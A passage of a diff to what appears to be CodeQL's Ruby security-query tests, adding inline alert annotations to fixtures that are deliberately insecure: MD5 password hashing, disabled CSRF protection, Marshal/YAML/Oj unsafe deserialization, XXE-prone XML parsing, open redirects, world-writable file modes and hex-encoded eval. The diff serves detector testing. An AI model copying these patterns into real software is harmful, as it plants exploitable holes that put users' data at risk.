Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data +OpenSSL::Digest.digest('SHA1', password) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(username) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(x) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data def get_safe_data() return "hello" @@ -21,13 +21,13 @@ def get_password() end Digest::MD5.hexdigest(get_safe_data()) # OK: input is not sensitive -Digest::MD5.hexdigest(get_password()) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(get_password()) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data some_hash = {password: "changeme", foo: "bar"} Digest::MD5.hexdigest(some_hash[:foo]) # OK: input is not sensitive -Digest::MD5.hexdigest(some_hash[:password]) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(some_hash[:password]) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data -def a_method(safe_data, password_param) +def a_method(safe_data, password_param) # $ Source[rb/weak-sensitive-data-hashing] Digest::MD5.hexdigest(safe_data) # OK: input is not sensitive - Digest::MD5.hexdigest(password_param) # BAD: weak hash function used for sensitive data + Digest::MD5.hexdigest(password_param) # $ Alert[rb/weak-sensitive-data-hashing] // BAD: weak hash function used for sensitive data end diff --git a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref index 5dc5050b63e..7e422be7bf5 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref +++ b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref @@ -1 +1,2 @@ -queries/security/cwe-352/CSRFProtectionDisabled.ql \ No newline at end of file +query: queries/security/cwe-352/CSRFProtectionDisabled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref index 8e9e894fe51..a47a9b3e99a 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref +++ b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref @@ -1 +1,2 @@ -queries/security/cwe-352/CSRFProtectionNotEnabled.ql \ No newline at end of file +query: queries/security/cwe-352/CSRFProtectionNotEnabled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb index 8cbf31529c1..d6e9df8d22c 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb @@ -1,3 +1,3 @@ class AlternativeRootController < ActionController::Base # BAD: no protect_from_forgery call -end \ No newline at end of file +end # $ Alert[rb/csrf-protection-not-enabled] diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb index 6ff599938e8..0d98c535a41 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb @@ -2,7 +2,7 @@ class ApplicationController < ActionController::Base # BAD: `protect_from_forgery` without `with: :exception` can expose an # application to CSRF attacks in some circumstances - protect_from_forgery + protect_from_forgery # $ Alert[rb/csrf-protection-disabled] before_action authz_guard diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb index 596a7b0108f..1b54c332cd2 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb @@ -1,7 +1,7 @@ class UsersController < ApplicationController # BAD: Disabling forgery protection may open the application to CSRF attacks - skip_before_action :verify_authenticity_token + skip_before_action :verify_authenticity_token # $ Alert[rb/csrf-protection-disabled] def change_email user = current_user diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb index 02b349a1630..5d455ebe347 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb @@ -13,6 +13,6 @@ module Railsapp config.load_defaults 5.1 # BAD: Disabling forgery protection may open the application to CSRF attacks - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end end diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb index a61bc6382b6..968227d5e33 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb @@ -2,5 +2,5 @@ Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # GOOD: disabling CSRF protection in the development environment should not be flagged - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb index 1a80e8503a6..384097fccf0 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb @@ -2,5 +2,5 @@ Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # BAD: Disabling forgery protection may open the application to CSRF attacks - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb index 3ec21d778c1..ffaa4107231 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb @@ -10,7 +10,7 @@ class UsersController < ActionController::Base # BAD - the safe mode set globally is overridden with an unsafe mode passed as # a call argument def route1 - json_data = params[:key] - object = Oj.load json_data, mode: :object + json_data = params[:key] # $ Source + object = Oj.load json_data, mode: :object # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref index 55f7c440b46..12e3c7a9b6c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb index 02adc167dab..d43d9cb9173 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb @@ -3,8 +3,8 @@ require "ox" class UsersController < ActionController::Base # BAD - Ox.load is unsafe when the mode :object is set globally def route0 - xml_data = params[:key] - object = Ox.load xml_data + xml_data = params[:key] # $ Source + object = Ox.load xml_data # $ Alert end # GOOD - the unsafe mode set globally is overridden with an insecure mode passed as diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref index 55f7c440b46..12e3c7a9b6c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref index 55f7c440b46..12e3c7a9b6c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb index 633a99c14fb..8afc514ce6c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb @@ -8,26 +8,26 @@ require "yaml" class UsersController < ActionController::Base # BAD def route0 - serialized_data = Base64.decode64 params[:key] - object = Marshal.load serialized_data + serialized_data = Base64.decode64 params[:key] # $ Source + object = Marshal.load serialized_data # $ Alert end # BAD def route1 - serialized_data = Base64.decode64 params[:key] - object = Marshal.restore serialized_data + serialized_data = Base64.decode64 params[:key] # $ Source + object = Marshal.restore serialized_data # $ Alert end # BAD def route2 - json_data = params[:key] - object = JSON.load json_data + json_data = params[:key] # $ Source + object = JSON.load json_data # $ Alert end # BAD def route3 - json_data = params[:key] - object = JSON.restore json_data + json_data = params[:key] # $ Source + object = JSON.restore json_data # $ Alert end # GOOD - JSON.parse is safe to use on untrusted data @@ -38,8 +38,8 @@ class UsersController < ActionController::Base # BAD def route5 - yaml_data = params[:key] - object = YAML.load yaml_data + yaml_data = params[:key] # $ Source + object = YAML.load yaml_data # $ Alert end # GOOD @@ -50,14 +50,14 @@ class UsersController < ActionController::Base # BAD - Oj.load is unsafe in its default :object mode def route7 - json_data = params[:key] - object = Oj.load json_data - object = Oj.load json_data, mode: :object + json_data = params[:key] # $ Source + object = Oj.load json_data # $ Alert + object = Oj.load json_data, mode: :object # $ Alert end # GOOD - Oj.load is safe in any other mode def route8 - json_data = params[:key] + json_data = params[:key] # $ Source # Test the different ways the options hash can be passed options = { allow_blank: true, mode: :rails } object1 = Oj.load json_data, options @@ -67,7 +67,7 @@ class UsersController < ActionController::Base # TODO: false positive; we aren't detecting flow from `:json` to the call argument. more_options = { allow_blank: true } more_options[:mode] = :json - object4 = Oj.load json_data, more_options + object4 = Oj.load json_data, more_options # $ Alert end # GOOD @@ -78,20 +78,20 @@ class UsersController < ActionController::Base # BAD - Oj.object_load is always unsafe def route10 - json_data = params[:key] - object = Oj.object_load json_data + json_data = params[:key] # $ Source + object = Oj.object_load json_data # $ Alert end # BAD - Ox.parse_obj is always unsafe def route11 - xml_data = params[:key] - object = Ox.parse_obj xml_data + xml_data = params[:key] # $ Source + object = Ox.parse_obj xml_data # $ Alert end # BAD - Ox.load with :object mode is always unsafe def route12 - xml_data = params[:key] - object = Ox.load xml_data, mode: :object + xml_data = params[:key] # $ Source + object = Ox.load xml_data, mode: :object # $ Alert end # GOOD - Ox.load is safe in the default mode (which is :generic) and in any other mode than :object @@ -106,21 +106,21 @@ class UsersController < ActionController::Base # BAD - `Hash.from_trusted_xml` will deserialize elements with the # `type="yaml"` attribute as YAML. def route14 - xml = params[:key] - hash = Hash.from_trusted_xml(xml) + xml = params[:key] # $ Source + hash = Hash.from_trusted_xml(xml) # $ Alert end # BAD before psych version 4.0.0 def route15 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end # GOOD In psych version 4.0.0 and above def route16 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end @@ -134,21 +134,21 @@ class UsersController < ActionController::Base # BAD def route18 - yaml_data = params[:key] - object = Psych.unsafe_load(yaml_data) - object = Psych.unsafe_load_file(yaml_data) - object = Psych.load_stream(yaml_data) + yaml_data = params[:key] # $ Source + object = Psych.unsafe_load(yaml_data) # $ Alert + object = Psych.unsafe_load_file(yaml_data) # $ Alert + object = Psych.load_stream(yaml_data) # $ Alert parse_output = Psych.parse_stream(yaml_data) - object = parse_output.to_ruby - object = Psych.parse(yaml_data).to_ruby - object = Psych.parse_file(yaml_data).to_ruby + object = parse_output.to_ruby # $ Alert + object = Psych.parse(yaml_data).to_ruby # $ Alert + object = Psych.parse_file(yaml_data).to_ruby # $ Alert end # BAD def route19 - plist_data = params[:key] - result = Plist.parse_xml(plist_data) - result = Plist.parse_xml(plist_data, marshal: true) + plist_data = params[:key] # $ Source + result = Plist.parse_xml(plist_data) # $ Alert + result = Plist.parse_xml(plist_data, marshal: true) # $ Alert end # GOOD @@ -158,18 +158,18 @@ class UsersController < ActionController::Base end def stdin - object = YAML.load $stdin.read + object = YAML.load $stdin.read # $ Alert # STDIN - object = YAML.load STDIN.gets + object = YAML.load STDIN.gets # $ Alert # ARGF - object = YAML.load ARGF.read + object = YAML.load ARGF.read # $ Alert # Kernel.gets - object = YAML.load gets + object = YAML.load gets # $ Alert # Kernel.readlines - object = YAML.load readlines + object = YAML.load readlines # $ Alert end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref index afa4fec282c..48494558b68 100644 --- a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref +++ b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref @@ -1 +1,2 @@ -queries/security/cwe-506/HardcodedDataInterpretedAsCode.ql +query: queries/security/cwe-506/HardcodedDataInterpretedAsCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-506/tst.rb b/ruby/ql/test/query-tests/security/cwe-506/tst.rb index 67d117e95c4..f3392d0664d 100644 --- a/ruby/ql/test/query-tests/security/cwe-506/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-506/tst.rb @@ -2,17 +2,17 @@ def e(r) [r].pack 'H*' end -totally_harmless_string = '707574732822636f646520696e6a656374696f6e2229' +totally_harmless_string = '707574732822636f646520696e6a656374696f6e2229' # $ Source -eval(e(totally_harmless_string)) # NOT OK: eval("puts('hello'") +eval(e(totally_harmless_string)) # $ Alert // NOT OK: eval("puts('hello'") eval(totally_harmless_string) # OK: throws parse error -require e('666f6f626172') # NOT OK: require 'foobar' +require e('666f6f626172') # $ Alert // NOT OK: require 'foobar' require '666f6f626172' # OK: no taint step between source and sink x = 'deadbeef' require e(x) # OK: doesn't meet our criteria for being a source -another_questionable_string = "\x70\x75\x74\x73\x28\x27\x68\x65\x6C\x6C\x6F\x27\x29" -eval(another_questionable_string.strip) # NOT OK: eval("puts('hello'") +another_questionable_string = "\x70\x75\x74\x73\x28\x27\x68\x65\x6C\x6C\x6F\x27\x29" # $ Source +eval(another_questionable_string.strip) # $ Alert // NOT OK: eval("puts('hello'") eval(another_questionable_string) # OK: no taint step between source and sink diff --git a/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref b/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref index 98d0d8e6be7..1488e6145ba 100644 --- a/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref @@ -1 +1,2 @@ -queries/security/cwe-598/SensitiveGetQuery.ql \ No newline at end of file +query: queries/security/cwe-598/SensitiveGetQuery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb index 441d8b493ab..1f2be8152d7 100644 --- a/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb @@ -1,17 +1,17 @@ class UsersController < ApplicationController def login_get_1 - foo = params[:password] # BAD: route handler uses GET query parameters to receive sensitive data + foo = params[:password] # $ Alert // BAD: route handler uses GET query parameters to receive sensitive data authenticate_user(params[:username], foo) end def login_get_2 - password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data + password = params[:foo] # $ Alert // BAD: route handler uses GET query parameters to receive sensitive data authenticate_user(params[:username], password) end def login_get_3 - @password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data + @password = params[:foo] # $ Alert // BAD: route handler uses GET query parameters to receive sensitive data authenticate_user(params[:username], @password) end diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref index 422dc00837a..76f39c8d6f3 100644 --- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref +++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref @@ -1 +1,2 @@ -queries/security/cwe-601/UrlRedirect.ql +query: queries/security/cwe-601/UrlRedirect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb index 78f2248434b..5ca2ab77704 100644 --- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb +++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb @@ -1,27 +1,27 @@ class UsersController < ActionController::Base # BAD def route1 - redirect_to params + redirect_to params # $ Alert end # BAD def route2 - redirect_to params[:key] + redirect_to params[:key] # $ Alert end # BAD def route3 - redirect_to params.fetch(:specific_arg) + redirect_to params.fetch(:specific_arg) # $ Alert end # BAD def route4 - redirect_to params.to_unsafe_hash + redirect_to params.to_unsafe_hash # $ Alert end # BAD def route5 - redirect_to filter_params(params) + redirect_to filter_params(params) # $ Alert end # GOOD @@ -31,7 +31,7 @@ class UsersController < ActionController::Base # BAD def route7 - redirect_to "#{params[:key]}/foo" + redirect_to "#{params[:key]}/foo" # $ Alert end # GOOD @@ -55,22 +55,22 @@ class UsersController < ActionController::Base # The same as `create1` but this is reachable via a GET request, as configured # by the routes at the bottom of this file. def route9 - redirect_to params[:key] + redirect_to params[:key] # $ Alert end # BAD def route10 - redirect_back fallback_location: params[:key] + redirect_back fallback_location: params[:key] # $ Alert end # BAD def route11 - redirect_back fallback_location: params[:key], allow_other_host: true + redirect_back fallback_location: params[:key], allow_other_host: true # $ Alert end # BAD def route12 - redirect_back_or_to params[:key] + redirect_back_or_to params[:key] # $ Alert end # GOOD @@ -134,4 +134,4 @@ class ConstController < ActionController::Base redirect_to "/error.html" end end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb index 4e3565e149a..c7013082c77 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb @@ -13,11 +13,11 @@ end class LibXmlRubyXXE < ApplicationController def foo - content = params[:xml] + content = params[:xml] # $ Source - LibXML::XML::Parser.file(content, { options: 2048 }) - Hash.from_xml(content) - Hash.from_trusted_xml(content) - ActiveSupport::XmlMini.parse(content) + LibXML::XML::Parser.file(content, { options: 2048 }) # $ Alert + Hash.from_xml(content) # $ Alert + Hash.from_trusted_xml(content) # $ Alert + ActiveSupport::XmlMini.parse(content) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref index 8ed653a4869..50d9b176008 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref +++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref @@ -1 +1,2 @@ -queries/security/cwe-611/Xxe.ql +query: queries/security/cwe-611/Xxe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb b/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb index a8d640d62c6..2e38a92330f 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb @@ -1,15 +1,15 @@ class LibXmlRubyXXE < ApplicationController - content = params[:xml] - LibXML::XML::Document.string(content, { options: 2 | 2048, encoding: 'utf-8' }) - LibXML::XML::Document.file(content, { options: LibXML::XML::Parser::Options::NOENT | 2048}) - LibXML::XML::Document.io(content, { options: XML::Parser::Options::NOENT | 2048 }) - LibXML::XML::Parser.string(content, { options: 2 | 2048 }) - LibXML::XML::Parser.file(content, { options: 3 | 2048 }) - LibXML::XML::Parser.io(content, { options: 2 | 2048}) + content = params[:xml] # $ Source + LibXML::XML::Document.string(content, { options: 2 | 2048, encoding: 'utf-8' }) # $ Alert + LibXML::XML::Document.file(content, { options: LibXML::XML::Parser::Options::NOENT | 2048}) # $ Alert + LibXML::XML::Document.io(content, { options: XML::Parser::Options::NOENT | 2048 }) # $ Alert + LibXML::XML::Parser.string(content, { options: 2 | 2048 }) # $ Alert + LibXML::XML::Parser.file(content, { options: 3 | 2048 }) # $ Alert + LibXML::XML::Parser.io(content, { options: 2 | 2048}) # $ Alert - XML::Document.string(content, { options: 2 | 2048 }) - XML::Parser.string(content, { options: 2 | 2048 }) + XML::Document.string(content, { options: 2 | 2048 }) # $ Alert + XML::Parser.string(content, { options: 2 | 2048 }) # $ Alert LibXML::XML::Parser.file(content, { options: 2048 }) # OK diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb b/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb index 76f37cfb751..f679ee9aab7 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb @@ -1,30 +1,30 @@ class NokogiriXXE < ApplicationController - content = params[:xml] + content = params[:xml] # $ Source - Nokogiri::XML::parse(content, nil, nil, 2) - Nokogiri::XML::parse(content, nil, nil, 1 | 2) - Nokogiri::XML::parse(content, nil, nil, 1 & ~Nokogiri::XML::ParseOptions::NONET) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::DTDLOAD) + Nokogiri::XML::parse(content, nil, nil, 2) # $ Alert + Nokogiri::XML::parse(content, nil, nil, 1 | 2) # $ Alert + Nokogiri::XML::parse(content, nil, nil, 1 & ~Nokogiri::XML::ParseOptions::NONET) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::DTDLOAD) # $ Alert Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NOENT) #OK - Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions.new 2) + Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions.new 2) # $ Alert options = Nokogiri::XML::ParseOptions.new 2048 options.noent - Nokogiri::XML::parse(content, nil, nil, options) - Nokogiri::XML::parse(content, nil, nil, (Nokogiri::XML::ParseOptions.new 0).noent) + Nokogiri::XML::parse(content, nil, nil, options) # $ Alert + Nokogiri::XML::parse(content, nil, nil, (Nokogiri::XML::ParseOptions.new 0).noent) # $ Alert - Nokogiri::XML::parse(content) { |x| x.noent } - Nokogiri::XML::parse(content) { |x| x.nononet } #FAIL + Nokogiri::XML::parse(content) { |x| x.noent } # $ Alert + Nokogiri::XML::parse(content) { |x| x.nononet } # $ Alert // FAIL Nokogiri::XML::parse(content) { |x| x.nodtdload } # OK - Nokogiri::XML::parse(content) { |x| x.nonet.noent.nodtdload } + Nokogiri::XML::parse(content) { |x| x.nonet.noent.nodtdload } # $ Alert Nokogiri::XML::parse(content, nil, nil, 2048) # OK - Nokogiri::XML::parse(content, nil, nil, 3) + Nokogiri::XML::parse(content, nil, nil, 3) # $ Alert Nokogiri::XML::parse(content) { |x| x.nonet.nodtdload } # OK - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT & ~Nokogiri::XML::ParseOptions::NOBLANKS) - Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET | Nokogiri::XML::ParseOptions::NOBLANKS) + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT & ~Nokogiri::XML::ParseOptions::NOBLANKS) # $ Alert + Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET | Nokogiri::XML::ParseOptions::NOBLANKS) # $ Alert end diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref index 8ed653a4869..50d9b176008 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref @@ -1 +1,2 @@ -queries/security/cwe-611/Xxe.ql +query: queries/security/cwe-611/Xxe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb b/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb index 305bdb2d147..00530836bb0 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb +++ b/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb @@ -2,13 +2,13 @@ require "fileutils" def run_chmod_1(filename) # BAD: sets file as world writable - FileUtils.chmod 0222, filename + FileUtils.chmod 0222, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world writable - FileUtils.chmod 0622, filename + FileUtils.chmod 0622, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world readable - FileUtils.chmod 0755, filename + FileUtils.chmod 0755, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world readable + writable - FileUtils.chmod 0777, filename + FileUtils.chmod 0777, filename # $ Alert[rb/overly-permissive-file] end module DummyModule @@ -25,7 +25,7 @@ def run_chmod_2(filename) baz.chmod 0755, filename baz = bar # BAD: sets file as world readable - baz.chmod 0755, filename + baz.chmod 0755, filename # $ Alert[rb/overly-permissive-file] end def run_chmod_3(filename) @@ -48,26 +48,26 @@ def run_chmod_4(filename) end def run_chmod_5(filename) - perm = 0777 + perm = 0777 # $ Alert[rb/overly-permissive-file] # BAD: sets world rwx - FileUtils.chmod perm, filename + FileUtils.chmod perm, filename # $ Sink[rb/overly-permissive-file] perm2 = perm # BAD: sets world rwx - FileUtils.chmod perm2, filename + FileUtils.chmod perm2, filename # $ Sink[rb/overly-permissive-file] - perm = "u=wrx,g=rwx,o=x" + perm = "u=wrx,g=rwx,o=x" # $ Alert[rb/overly-permissive-file] perm2 = perm # BAD: sets group rwx - FileUtils.chmod perm2, filename + FileUtils.chmod perm2, filename # $ Sink[rb/overly-permissive-file] # BAD: sets file as world readable - FileUtils.chmod "u=rwx,o+r", filename + FileUtils.chmod "u=rwx,o+r", filename # $ Alert[rb/overly-permissive-file] # GOOD: sets file as group/world unreadable FileUtils.chmod "u=rwx,go-r", filename # BAD: sets group/world as +rw - FileUtils.chmod "a+rw", filename + FileUtils.chmod "a+rw", filename # $ Alert[rb/overly-permissive-file] end def run_chmod_R(filename) # BAD: sets file as world readable - FileUtils.chmod_R 0755, filename + FileUtils.chmod_R 0755, filename # $ Alert[rb/overly-permissive-file] end diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref b/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref index 7c8c5ca3c93..94f0b0dac3c 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref +++ b/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref @@ -1 +1,2 @@ -queries/security/cwe-732/WeakCookieConfiguration.ql +query: 